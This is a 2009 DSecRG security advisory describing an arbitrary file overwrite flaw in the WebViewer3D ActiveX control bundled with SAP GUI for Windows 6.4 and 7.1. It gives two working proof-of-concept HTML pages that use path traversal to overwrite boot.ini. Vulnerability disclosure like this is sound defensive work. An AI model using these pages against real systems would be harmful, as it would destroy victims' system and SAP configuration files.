EnjoySAP, SAP GUI for Windows versions 6.4 and 7.1 suffer an arbitrary file overwrite vulnerability.
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Digital Security Research Group [DSecRG] Advisory #DSECRG-09-044
Application: EnjoySAP, SAP GUI for Windows 6.4 and 7.1
Versions Affected: Tested on 7100.2.7.1038 PL 7
Vendor URL: http://SAP.com
Bugs: insecure method, File owervriting
Exploits: YES
Reported: 02.07.2009
Vendor response: 02.07.2009
Date of Public Advisory: 22 ñåíò
CVE-number:
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID: {AFBBE070-7340-11d2-AA6B-00E02924C34E}
which is contains insecure method that can overwrite any file in system.
Details
*******
Attacker can construct html page which call one of the wulnerable functions such as:
1) SaveToSessionFile
2) SaveViewToSessionFile
from ActiveX component EAI WebViewer3D
Example1:
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
{
File = "../../../../../../../../../../../../boot.ini"
ctrl.SaveToSessionFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>
Example2:
<HTML>
<BODY>
<object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
{
File = "../../../../../../../../../../../../boot.ini"
ctrl.SaveViewToSessionFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>
For example we can overwrite boot.ini file or sapgui.ini which contains all connectionbs to sap servers
Fix Information
***************
About
*****
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
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